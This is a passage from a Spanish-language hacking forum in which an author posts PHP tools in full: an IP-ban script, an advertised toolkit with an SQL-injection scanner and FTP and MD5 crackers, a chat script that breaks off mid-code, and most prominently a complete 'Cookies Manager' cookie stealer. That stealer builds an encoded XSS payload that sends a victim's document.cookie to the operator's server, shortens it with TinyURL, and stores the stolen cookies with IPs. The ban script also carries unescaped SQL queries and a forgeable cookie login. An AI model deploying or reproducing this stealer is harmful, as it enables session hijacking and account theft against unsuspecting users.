             ArrayList array2 = tools.repes(tools.cortar(array));
             for (int i = 0; i < array2.size(); i++) {
             System.out.println(array2.get(i));
             }
             */
            //System.out.println(tools.regex("1sadasdsa2","1","2"));
            //System.out.println(tools.response_code("http://www.petardas.com/"));
            /*
             File savefile = new File("c:/xampp/*****.avi");
             if(tools.download("http://localhost/test.avi",savefile)) {
             System.out.println("yeah");
             }
             */

            //System.out.println(tools.extract_file_by_url("http://localhost/dsaads/dsadsads/index.php"));
            //System.out.println(tools.uri_split("http://localhost/index.php?id=dadsdsa","query"));
            //System.out.println(tools.md5_encode("123"));
            //System.out.println(tools.md5_file("c:\\xampp\\texto.txt"));
            //System.out.println(tools.get_ip("www.petardas.com"));
        }

    }


    Eso seria todo.
#36
PHP / [PHP] Ban System 0.3
8 Enero 2016, 19:22 PM
Un simple script en PHP para banear una IP en una pagina.

Una imagen :



Los codigos :

index.php

Código (php) [Seleccionar]

<?php

// Ban System 0.3
// (C) Doddy Hackman 2015

// Login

$username "admin"// Edit
$password "21232f297a57a5a743894a0e4a801fc3"// Edit

//

$index "admin.php"// Edit

if (isset($_GET['poraca'])) {
    
    echo 
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <title>Login</title>
      <link rel="shortcut icon" href="images/icono.png">
      <link href="style.css" rel="stylesheet" type="text/css" />
   </head>
   <body>
      <center><br>
         <div class="post">
            <h3>Login</h3>
            <div class="post_body">
               <img src="images/login.jpg" width="562" height="440" />
               <br />
               <form action="" method=POST>
                  Username : <input type=text size=30 name=username /><br 

/><br />
                  Password : <input type=password size=30 name=password 

/><br /><br />
                  <input type=submit name=login style="width: 100px;" 

value=Login /><br /><br />
               </form>
            </div>
         </div>
      </center>
   </body>
</html>'
;
    
    if (isset(
$_POST['login'])) {
        
        
$test_username $_POST['username'];
        
$test_password md5($_POST['password']);
        
        if (
$test_username == $username && $test_password == $password) {
            
setcookie("login"base64_encode($test_username "@" $test_password));
            echo 
"<script>alert('Welcome idiot');</script>";
            
$ruta "http://" $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" $index;
            echo 
'<meta http-equiv="refresh" content="0; url=' htmlentities($ruta) . '" 

/>'
;
        } else {
            echo 
"<script>alert('Fuck You');</script>";
        }
    }
    
} else {
    echo 
'<meta http-equiv="refresh" content="0; 

url=http://www.petardas.com" />'
;
}

// The End ?

?>



admin.php

Código (php) [Seleccionar]

<?php

// Ban System 0.3
// (C) Doddy Hackman 2015

error_reporting(0);

// Login

$username "admin"// Edit
$password "21232f297a57a5a743894a0e4a801fc3"// Edit

// DB

$host  "localhost"// Edit
$userw "root"// Edit
$passw ""// Edit
$db    "ban"// Edit

if (isset($_COOKIE['login'])) {
    
    
$st base64_decode($_COOKIE['login']);
    
    
$plit explode("@"$st);
    
$user $plit[0];
    
$pass $plit[1];
    
    if (
$user == $username and $pass == $password) {
        
        
mysql_connect($host$userw$passw);
        
mysql_select_db($db);
        
        echo 
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <title>Ban System 0.3</title>
      <link href="style.css" rel="stylesheet" type="text/css" />
      <link rel="shortcut icon" href="images/icono.png">
   </head>
   <body>
   <center>'
;
        
        
mysql_connect($host$userw$passw);
        
mysql_select_db($db);
        
        echo 
'         <br><img src="images/ban.png" /><br><br>';
        
        if (isset(
$_POST['instalar'])) {
            
            
$todo "create table ban_system (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
ip TEXT NOT NULL,
PRIMARY KEY(id));
"
;
            
            if (
mysql_query($todo)) {
                echo 
"<script>alert('Installed');</script>";
                echo 
'<meta http-equiv="refresh" content=0;URL=>';
            } else {
                echo 
"<script>alert('Error');</script>";
            }
        }
        
        if (
mysql_num_rows(mysql_query("show tables like 'ban_system'"))) {
            
            echo 
"<title>Ban System 0.3 Administracion</title>";
            
            if (isset(
$_POST['ipadd'])) {
                
                
$ipfinal ip2long($_POST['ipadd']);
                
$ipaz    $_POST['ipadd'];
                
                if (
$ipfinal == -|| $ipfinal === FALSE) {
                    echo 
"<script>alert('IP invalid');</script>";
                    
                } else {
                    
                    if (
mysql_query("INSERT INTO ban_system (id,ip) values (NULL,'$ipaz')")) {
                        echo 
"<script>alert('IP added');</script>";
                    } else {
                        echo 
"<script>alert('Error');</script>";
                    }
                    
                    
                }
            }
            
            if (isset(
$_GET['del'])) {
                
$id $_GET['del'];
                if (@
mysql_query("DELETE FROM ban_system where id ='$id'")) {
                    echo 
"<script>alert('IP Deleted');</script>";
                } else {
                    echo 
"<script>alert('Error');</script>";
                }
            }
            
            echo 
'
            <div class="post">
                <h3>Add IP</h3>
                   <div class="post_body">'
;
            
            echo 
"<br>
<form action='' method=POST>
<b>IP : </b><input type=text name=ipadd value=127.0.0.1> <input type=submit style='width: 100px;' value=Add>
</form><br>"
;
            
            echo 
'                </div>
            </div>'
;
            
            
            
$sql       "select id from ban_system";
            
$resultado mysql_query($sql);
            
$cantidad  mysql_num_rows($resultado);
            
            echo 
'
            <div class="post">
                <h3>Banned : ' 
htmlentities($cantidad) . '</h3>
                   <div class="post_body"><br>'
;
            
            if (
$cantidad <= 0) {
                echo 
'<b>No entries found</b><br>';
            } else {
                
                echo 
'<table>
<td><b>ID</b></td><td><b>IP</b></td><td><b>Option</b></td><tr>'
;
                
                
$sen = @mysql_query("select * from ban_system order by id ASC");
                
                while (
$ab = @mysql_fetch_array($sen)) {
                    
                    echo 
"<td>" htmlentities($ab[0]) . "</td><td>" htmlentities($ab[1]) . "</td><td><a href=?del=" htmlentities($ab[0]) . ">Delete</a></td><tr>";
                }
                
                echo 
'</table>';
                
            }
            
            echo 
'                <br></div>
            </div>'
;
            
            echo 
"</table>
</center>
"
;
            
//
        
} else {
            
            echo 
'
            <div class="post">
                <h3>Installer</h3>
                   <div class="post_body">'
;
            
            echo 
"
<form action='' method=POST>
<h2>Do you want install Ban System ?</h2><br>
<input type=submit style='width: 100px;' name=instalar value=Install><br><br>
</form>"
;
            
            echo 
'                </div>
            </div>'
;
            
        }
        
        echo 
'
   <br><h3>(C) Doddy Hackman 2015</h3><br>
   </center>
   </body>
</html>'
;
        
        
mysql_close();
        exit(
1);
        
    } else {
        echo 
"<script>alert('Fuck You');</script>";
    }
} else {
    echo 
'<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
}

?>



style.css

Código (css) [Seleccionar]

/*

==-----------------------------------==
|| Name : DH Theme                   ||
|| Version : 0.8                     || 
|| Author : Doddy H                  ||
|| Description: Templante            ||
|| Date : 14/1/2015                  ||
==-----------------------------------==

*/

body {
background:transparent url("images/fondo.jpg") repeat scroll 0 0;
color:gray;
font-family:helvetica,arial,sans-serif;
font-size:14px;
text-align:center;
}

a:link {
text-decoration:none;
color:orange;
}
a:visited {
color:orange;
}
a:hover {
color:orange;
}

td,tr {
border-style:solid;
border-color: gray;
border-width: 1px;
background: black;
border: solid #222 2px;
color:gray;
font-family:helvetica,arial,sans-serif;
font-size:14px;
text-align:center;

word-wrap: break-word;
word-break:break-all;
}

input {
border-style:solid;
border-color: gray;
border-width: 1px;
background: black;
border: solid #222 2px;
color:gray;
font-family:helvetica,arial,sans-serif;
font-size:14px;
}

.post {
background-color:black;
color:gray;
margin-bottom:10px;
width:600px;
word-wrap: break-word;
}

.post h3 {
background-color:black;
color:orange;
background-color:#000;
border: solid #222 2px;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
padding:5px 10px;
}

.post_body {
background-color:black;
margin:-20px 0 0 0;
color:white;
background-color:#000;
border: solid #222 2px;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
padding:5px 10px;
}

/* The End ? */


ban.php

Código (php) [Seleccionar]

<?php

// Ban System 0.3
// (C) Doddy Hackman 2015

error_reporting(0);

// DB

$host  "localhost"// Edit
$userw "root"// Edit
$passw ""// Edit
$db    "ban"// Edit

//

$texto "Acceso Denegado"// Edit

mysql_connect($host$userw$passw);
mysql_select_db($db);

$ipa ip2long($_SERVER['REMOTE_ADDR']);
$ip  $_SERVER['REMOTE_ADDR'];

if (
$ip == "::1") {
    
$ipa 1;
}

if (
$ipa == -|| $ipa === FALSE) {
    echo 
"<script>alert('Good try');</script>";
} else {
    
    if (
$ip == "::1") {
        
$ip "127.0.0.1";
    }
    
$re mysql_query("select ip from ban_system where ip='$ip'");
    
    if (
mysql_num_rows($re) > 0) {
        echo 
"<center><h1>" htmlentities($texto) . "</h1></center>";
        exit(
1);
    }
    
}

mysql_close();

// The End ?

?>



test.php

Código (php) [Seleccionar]

<?php

include("ban.php");

echo 
"aca toy";

?>



Si quieren bajar el programa lo pueden hacer de aca.
#37
Version en Delphi de este programa similar al juego HackTheGame pero con la unica diferencia de que todo es real xD , tiene las siguientes opciones :

  • Gmail Inbox
  • Ping
  • Get IP

  • K0bra (Scanner SQLI)
    [++] Comprobar vulnerabilidad
    [++] Buscar numero de columnas
    [++] Buscar automaticamente el numero para mostrar datos
    [++] Mostras tablas
    [++] Mostrar columnas
    [++] Mostrar bases de datos
    [++] Mostrar tablas de otra DB
    [++] Mostrar columnas de una tabla de otra DB
    [++] Mostrar usuarios de mysql.user
    [++] Buscar archivos usando load_file
    [++] Mostrar un archivo usando load_file
    [++] Mostrar valores
    [++] Mostrar informacion sobre la DB
    [++] Crear una shell usando outfile
    [++] Todo se guarda en logs ordenados

  • Panel Control
  • FTP Cracker
  • Whois
  • Downloader
  • Locate IP
  • MD5 Cracker
  • Port Scanner
  • Bing Scanner
  • Console

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=0xIHZGiqprc[/youtube]

    Para leer el correo necesitan tener instalado Win32OpenSSL para que el inbox les funcione , tambien necesitan habilitar la opcion de "Acceso de aplicaciones menos seguras" desde este link para la cuenta Gmail que van a usar.

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#38
PHP / [PHP] Cookies Manager 0.6
18 Diciembre 2015, 21:41 PM
Hoy les traigo una version mejorada de este cookie stealer que les permite capturar,guardar y generar cookies para el robo de cookies usando XSS.

Tiene las siguientes opciones :

  • Cookie Stealer con generador de TinyURL
  • Pueden ver los cookies que les devuelve una pagina
  • Pueden crear cookies con los datos que quieran
  • Panel oculto con login para entrar usen ?poraca para encontrar al login

    Una imagen :



    Los codigos :

    index.php

    Código (php) [Seleccionar]

    <?php

    // Cookies Manager 0.6
    // (C) Doddy Hackman 2015

    // Login

    $username "admin"// Edit
    $password "21232f297a57a5a743894a0e4a801fc3"// Edit

    //

    $index "imagen.php"// Edit

    if (isset($_GET['poraca'])) {
        
        echo 
    '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
       <head>
          <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
          <title>Login</title>
          <link rel="shortcut icon" href="images/icono.png">
          <link href="style.css" rel="stylesheet" type="text/css" />
       </head>
       <body>
          <center><br>
             <div class="post">
                <h3>Login</h3>
                <div class="post_body">
                   <img src="images/login.jpg" width="562" height="440" />
                   <br />
                   <form action="" method=POST>
                      Username : <input type=text size=30 name=username /><br /><br />
                      Password : <input type=password size=30 name=password /><br /><br />
                      <input type=submit name=login style="width: 100px;" value=Login /><br /><br />
                   </form>
                </div>
             </div>
          </center>
       </body>
    </html>'
    ;
        
        if (isset(
    $_POST['login'])) {
            
            
    $test_username $_POST['username'];
            
    $test_password md5($_POST['password']);
            
            if (
    $test_username == $username && $test_password == $password) {
                
    setcookie("login"base64_encode($test_username "@" $test_password));
                echo 
    "<script>alert('Welcome idiot');</script>";
                
    $ruta "http://" $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" $index;
                echo 
    '<meta http-equiv="refresh" content="0; url=' htmlentities($ruta) . '" />';
            } else {
                echo 
    "<script>alert('Fuck You');</script>";
            }
        }
        
    } else {
        echo 
    '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
    }

    // The End ?

    ?>



    imagen.php

    Código (php) [Seleccionar]

    <?php

    // Cookies Manager 0.6
    // (C) Doddy Hackman 2015

    // Login

    $username "admin"// Edit
    $password "21232f297a57a5a743894a0e4a801fc3"// Edit 

    // DB

    $host  "localhost"// Edit
    $userw "root"// Edit
    $passw ""// Edit
    $db    "cookies"// Edit

    // Functions

    function hex_encode($text)
    {
        
    $texto chunk_split(bin2hex($text), 2'%');
        return 
    $texto '%' substr($texto0strlen($texto) - 1);
    }

    function 
    parsear_cookie($leyendo)
    {
        
        
    $leyendo   str_replace("comment="""$leyendo);
        
    $leyendo   str_replace("Set-Cookie: """$leyendo);
        
    $contenido explode(";"$leyendo);
        
        
    $nombre       "";
        
    $valor_cookie "";
        
    $expires      "";
        
    $path         "";
        
    $domain       "";
        
    $secure       "false";
        
    $httponly     "false";
        
        foreach (
    $contenido as $valor) {
            
            if (
    preg_match("/expires=(.*)/"$valor$regex)) {
                
    $expires $regex[1];
            }
            
            elseif (
    preg_match("/path=(.*)/"$valor$regex)) {
                
    $path $regex[1];
            } elseif (
    preg_match("/domain=(.*)/"$valor$regex)) {
                
    $domain $regex[1];
            } elseif (
    preg_match("/secure=(.*)/"$valor$regex)) {
                
    $secure $regex[1];
            } elseif (
    preg_match("/httponly=(.*)/"$valor$regex)) {
                
    $httponly $regex[1];
            }
            
            else {
                
                if (
    preg_match("/(.*)=(.*)/"$valor$regex)) {
                    
    $nombre       $regex[1];
                    
    $valor_cookie $regex[2];
                }
                
            }
            
        }
        
        return array(
            
    $nombre,
            
    $valor_cookie,
            
    $expires,
            
    $path,
            
    $domain,
            
    $secure,
            
    $httponly
        
    );
        
    }

    function 
    ver_cookies_de_pagina($pagina)
    {
        
    $cookies "";
        if (!
    function_exists('curl_exec')) {
            
    $options = array(
                
    'http' => array(
                    
    'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
                
    )
            );
            
    $context stream_context_create($options);
            
    file_get_contents($pagina);
            foreach (
    $http_response_header as $valores) {
                if (
    preg_match("/Set-Cookie/"$valores)) {
                    
    $valores str_replace("Set-Cookie:"""$valores);
                    
    $cookies $cookies trim($valores) . "\n";
                }
            }
        } else {
            
    $nave curl_init($pagina);
            
    curl_setopt($naveCURLOPT_TIMEOUT5);
            
    curl_setopt($naveCURLOPT_RETURNTRANSFER1);
            
    curl_setopt($naveCURLOPT_USERAGENT"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
            
    curl_setopt($naveCURLOPT_HEADER1);
            
    curl_setopt($naveCURLOPT_NOBODY1);
            
    $contenido curl_exec($nave);
            
    curl_close($nave);
            
    $leyendo explode("\n"trim($contenido));
            
            foreach (
    $leyendo as $valores) {
                if (
    preg_match("/Set-Cookie/"$valores)) {
                    
    $valores str_replace("Set-Cookie:"""$valores);
                    
    $cookies $cookies trim($valores) . "\n";
                }
            }
        }
        return 
    $cookies;
    }

    function 
    toma($target)
    {
        
    $code "";
        if (
    function_exists('curl_exec')) {
            
    $nave curl_init($target);
            
    curl_setopt($naveCURLOPT_USERAGENT'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
            
    curl_setopt($naveCURLOPT_TIMEOUT5);
            
    curl_setopt($naveCURLOPT_RETURNTRANSFERtrue);
            
    $code curl_exec($nave);
        } else {
            
    $options = array(
                
    'http' => array(
                    
    'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
                
    )
            );
            
    $context stream_context_create($options);
            
    $code    file_get_contents($target);
        }
        return 
    $code;
    }

    //

    error_reporting(0);

    mysql_connect($host$userw$passw);
    mysql_select_db($db);

    if (isset(
    $_GET['id'])) {
        
        if (empty(
    $_GET['id'])) {
            
    error();
        }
        
        
    $dia mysql_real_escape_string(date("d.m.Y"));
        
    $ip  mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
        
        if (
    $ip == "::1") {
            
    $ip "127.0.0.1";
        }
        
        
    $info mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
        
    $ref  mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
        
        
    $cookie mysql_real_escape_string($_GET['id']);
        
        
    mysql_query("INSERT INTO cookies_found(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
        
        
    header("Location:http://www.google.com.ar");
        
    }

    elseif (isset(
    $_COOKIE['login'])) {
        
        
    $st base64_decode($_COOKIE['login']);
        
        
    $plit explode("@"$st);
        
    $user $plit[0];
        
    $pass $plit[1];
        
        if (
    $user == $username and $pass == $password) {
            
            echo 
    '
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
       <head>
          <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
          <title>Cookies Manager 0.6</title>
          <link href="style.css" rel="stylesheet" type="text/css" />
          <link rel="shortcut icon" href="images/icono.png">
       </head>
       <body>
       <center>'
    ;
            
            echo 
    '<br><img src="images/cookies.png" /><br>';
            
            if (isset(
    $_POST['makecookies'])) {
                
                if (
    setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200$_POST['path_cookie'], $_POST['domain_cookie'])) {
                    echo 
    "<script>alert('Cookie maked');</script>";
                } else {
                    echo 
    "<script>alert('Error making Cookie');</script>";
                }
            }
            
            
    $edit_name       "";
            
    $edit_value      "";
            
    $edit_expire     "";
            
    $edit_path       "";
            
    $edit_domain     "";
            
    $edit_secure     "";
            
    $edit_httponline "";
            
            if (isset(
    $_POST['instalar'])) {
                
                
    $cookies_found "create table cookies_found (
    id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
    fecha TEXT NOT NULL,
    ip TEXT NOT NULL,
    info TEXT NOT NULL,
    cookie TEXT NOT NULL,
    PRIMARY KEY (id));
    "
    ;
                
                if (
    mysql_query($cookies_found)) {
                    echo 
    "<script>alert('Installed');</script>";
                } else {
                    echo 
    "<script>alert('Error');</script>";
                }
            }
            
            if (
    mysql_num_rows(mysql_query("show tables like 'cookies_found'"))) {
                
                
    //
                
                
    if (isset($_GET['del'])) {
                    if (
    is_numeric($_GET['del'])) {
                        if (@
    mysql_query("delete from cookies_found where id='" $_GET['del'] . "'")) {
                            echo 
    "<script>alert('Cookie deleted');</script>";
                        } else {
                            echo 
    "<script>alert('Error');</script>";
                        }
                    }
                }
                
                
    // Cookies Found
                
                
                
    $re  mysql_query("select * from cookies_found order by id ASC");
                
    $con mysql_num_rows($re);
                echo 
    '
                <div class="post">
                    <h3>Cookies Found : ' 
    $con '</h3>
                       <div class="post_body"><br>'
    ;
                
                if (
    $con <= 0) {
                    echo 
    '<b>No cookies found</b><br>';
                } else {
                    
                    echo 
    '<table>';
                    echo 
    "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
                    
                    while (
    $ver mysql_fetch_array($re)) {
                        
    $cookies_view $ver[4];
                        list(
    $nombre$valor_cookie$expires$path$domain$secure$httponly) = parsear_cookie($cookies_view);
                        
                        echo 
    "<td>" htmlentities($ver[0]) . "</td><td>" htmlentities($ver[1]) . "</td><td>" htmlentities($ver[2]) . "</td><td>" htmlentities($ver[3]) . "</td>";
                        echo 
    "<td>" htmlentities($cookies_view) . "</td><td>" htmlentities($nombre) . "</td><td>" htmlentities($valor_cookie) . "</td><td><a href=?del=" htmlentities($ver[0]) . ">Delete</a></td><tr>";
                        
                    }
                    echo 
    "</table>";
                    
                }
                
                echo 
    '               <br></div>
                </div>'
    ;
                
                
    //
                
                // Form para target
                
                
    echo '
                <div class="post">
                    <h3>Enter Target</h3>
                       <div class="post_body"><br>'
    ;
                
                echo 
    "
    <form action='' method=POST>
    <b>Link : </b><input type=text size=40 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
    <input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'> <input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
    </form>
     
    "
    ;
                
                echo 
    '               <br></div>
                </div>'
    ;
                
                
    // URLS
                
                
    if (isset($_POST['generateurl'])) {
                    
                    echo 
    '
                <div class="post">
                    <h3>Console</h3>
                       <div class="post_body"><br>'
    ;
                    
                    echo 
    "<textarea cols=50 name=code readonly>\n";
                    
    $script         hex_encode("<script>document.location='http://" $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
                    
    //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
                    
    $resultado_code toma("http://tinyurl.com/api-create.php?url=" $_POST['target'] . $script);
                    echo 
    htmlentities($resultado_code);
                    echo 
    "\n</textarea></table>";
                    
                    echo 
    '               <br><br></div>
                </div>'
    ;
                    
                }
                
    //
                
                // Get Cookies
                
                
    if (isset($_POST['getcookies'])) {
                    
                    echo 
    '
                <div class="post">
                    <h3>Console</h3>
                       <div class="post_body"><br>'
    ;
                    
                    echo 
    "<textarea cols=50 rows=10 name=code readonly>\n";
                    
    $resultado_code ver_cookies_de_pagina($_POST['target']);
                    echo 
    htmlentities($resultado_code);
                    echo 
    "\n</textarea>";
                    
                    echo 
    '               <br><br></div>
                </div>'
    ;
                    
                    
    $leyendo_esto split("\n"$resultado_code);
                    
                    list(
    $nombre$valor_cookie$expires$path$domain$secure$httponly) = parsear_cookie($leyendo_esto[0]);
                    
                    
    $edit_name       $nombre;
                    
    $edit_value      $valor_cookie;
                    
    $edit_expire     $expires;
                    
    $edit_path       $path;
                    
    $edit_domain     $domain;
                    
    $edit_secure     $secure;
                    
    $edit_httponline $httponly;
                    
                }
                
                
    //
                
                // Form para crear cookies
                
                
                
    echo '
                <div class="post">
                    <h3>Cookie Maker</h3>
                       <div class="post_body"><br>'
    ;
                
                echo 
    "
    <form action='' method=POST>
    <b>Name : </b><input type=text size=50 name=name_cookie value='
    $edit_name'><br><br>
    <b>Value : </b><input type=text size=50 name=value_cookie value='
    $edit_value'><br><br>
    <b>Expires : </b><input type=text size=50 name=expire_cookie value='
    $edit_expire'><br><br>
    <b>Path : </b><input type=text size=50 name=path_cookie value='
    $edit_path'><br><br>
    <b>Domain : </b><input type=text size=50 name=domain_cookie value='
    $edit_domain'><br><br>
    <b>Secure : </b><input type=text size=50 name=secure_cookie value='
    $edit_secure'><br><br>
    <b>HTTP Online : </b><input type=text size=50 name=httponline_cookie value='
    $edit_httponline'><br><br>
    <input type=submit name=makecookies style='height: 25px; width: 200px' value='Make Cookie'>
    </form>"
    ;
                
                echo 
    '                <br></div>
                </div>'
    ;
                
            } else {
                
                echo 
    '
                <div class="post">
                    <h3>Installer</h3>
                       <div class="post_body">'
    ;
                echo 
    "
    <form action='' method=POST>
    <h2>Do you want install Cookies Manager ?</h2><br>
    <input type=submit name=instalar value=Install>
    </form><br>"
    ;
                
                echo 
    '                </div>
                </div>'
    ;
            }
            
            echo 
    '  
            <br><h3>(C) Doddy Hackman 2015</h3><br>
            </center>
            </body>
    </html>'
    ;
            
        } else {
            echo 
    "<script>alert('Fuck You');</script>";
        }
    } else {
        echo 
    '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
    }

    // The End ?

    ?>



    style.css

    Código (css) [Seleccionar]

    /*

    ==-----------------------------------==
    || Name : DH Theme                   ||
    || Version : 0.8                     || 
    || Author : Doddy H                  ||
    || Description: Templante            ||
    || Date : 14/1/2015                  ||
    ==-----------------------------------==

    */

    body {
    background:transparent url("images/fondo.jpg") repeat scroll 0 0;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;
    }

    a:link {
    text-decoration:none;
    color:orange;
    }
    a:visited {
    color:orange;
    }
    a:hover {
    color:orange;
    }

    td,tr {
    border-style:solid;
    border-color: gray;
    border-width: 1px;
    background: black;
    border: solid #222 2px;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;
    }

    textarea {
    font: normal 10px Verdana, Arial, Helvetica,sans-serif;
    background-color:black;
    color:gray;
    border: solid #222 2px;
    border-color:gray
    }

    input {
    border-style:solid;
    border-color: gray;
    border-width: 1px;
    background: black;
    border: solid #222 2px;
    color:gray;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    }

    .post {
    background-color:black;
    color:gray;
    margin-bottom:10px;
    width:600px;
    word-wrap: break-word;
    }

    .post h3 {
    background-color:black;
    color:orange;
    background-color:#000;
    border: solid #222 2px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    padding:5px 10px;
    }

    .post_body {
    background-color:black;
    margin:-20px 0 0 0;
    color:white;
    background-color:#000;
    border: solid #222 2px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    padding:5px 10px;
    }

    /* The End ? */


    Un video con ejemplo de usos :

    [youtube=640,360]https://www.youtube.com/watch?v=UOIjf5ms1Ps[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.
#39
PHP / [PHP] DH Chat 0.5
4 Diciembre 2015, 16:23 PM
Un simple chat que hice en PHP que tiene las siguientes opciones :

  • Solo permite 10 mensajes por lo que borra por antiguedad
  • Filtra malas palabras
  • Se pueden borrar comentarios desde el administrador

    Una imagen :



    Los codigos :

    index.php

    Código (php) [Seleccionar]

    <?php

    // DH Chat 0.5
    // (C) Doddy Hackman 2015

    // Login

    $username "admin"// Edit
    $password "21232f297a57a5a743894a0e4a801fc3"// Edit

    //

    $index "admin.php"// Edit

    if (isset($_GET['poraca'])) {
        
        echo 
    '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
       <head>
          <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
          <title>Login</title>
          <link rel="shortcut icon" href="images/icono.png">
          <link href="style.css" rel="stylesheet" type="text/css" />
       </head>
       <body>
          <center><br>
             <div class="post">
                <h3>Login</h3>
                <div class="post_body">
                   <img src="images/login.jpg" width="562" height="440" />
                   <br />
                   <form action="" method=POST>
                      Username : <input type=text size=30 name=username /><br /><br />
                      Password : <input type=password size=30 name=password /><br /><br />
                      <input type=submit name=login style="width: 100px;" value=Login /><br /><br />
                   </form>
                </div>
             </div>
          </center>
       </body>
    </html>'
    ;
        
        if (isset(
    $_POST['login'])) {
            
            
    $test_username $_POST['username'];
            
    $test_password md5($_POST['password']);
            
            if (
    $test_username == $username && $test_password == $password) {
                
    setcookie("login"base64_encode($test_username "@" $test_password));
                echo 
    "<script>alert('Welcome idiot');</script>";
                
    $ruta "http://" $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" $index;
                echo 
    '<meta http-equiv="refresh" content="0; url=' htmlentities($ruta) . '" />';
            } else {
                echo 
    "<script>alert('Fuck You');</script>";
            }
        }
        
    } else {
        echo 
    '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
    }

    // The End ?

    ?>



    admin.php

    Código (php) [Seleccionar]

    <?php

    // DH Chat 0.5
    // (C) Doddy Hackman 2015

    error_reporting(0);

    // Login

    $username "admin"// Edit
    $password "21232f297a57a5a743894a0e4a801fc3"// Edit

    // DB

    $host  "localhost"// Edit
    $userw "root"// Edit
    $passw ""// Edit
    $db    "chat"// Edit

    if (isset($_COOKIE['login'])) {
        
        
    $st base64_decode($_COOKIE['login']);
        
        
    $plit explode("@"$st);
        
    $user $plit[0];
        
    $pass $plit[1];
        
        if (
    $user == $username and $pass == $password) {
            
            echo 
    '
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
       <head>
          <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
          <title>DH Chat 0.5</title>
          <link rel="shortcut icon" href="images/icono.png">
          <link href="style.css" rel="stylesheet" type="text/css" />
       </head>
       <body>
       <center>
       '
    ;
            
            
    mysql_connect($host$userw$passw);
            
    mysql_select_db($db);
            
            echo 
    '         <br><img src="images/chat.png" /><br>';
            
            if (isset(
    $_POST['instalar'])) {
                
                
    $todo "create table mensajes (
    id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
    mensaje TEXT NOT NULL,
    apodo VARCHAR(255) NOT NULL,
    PRIMARY KEY (id_comentario));
    "
    ;
                
                
    $todo2 "create table insultos (
    id_insulto int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
    mensaje TEXT NOT NULL,
    PRIMARY KEY (id_insulto));
    "
    ;
                
                if (
    mysql_query($todo)) {
                    if (
    mysql_query($todo2)) {
                        
                        
    $insultos = array(
                            
    "lammer",
                            
    "lamer",
                            
    "maricon",
                            
    "noob"
                        
    );
                        
                        foreach (
    $insultos as $con) {
                            @
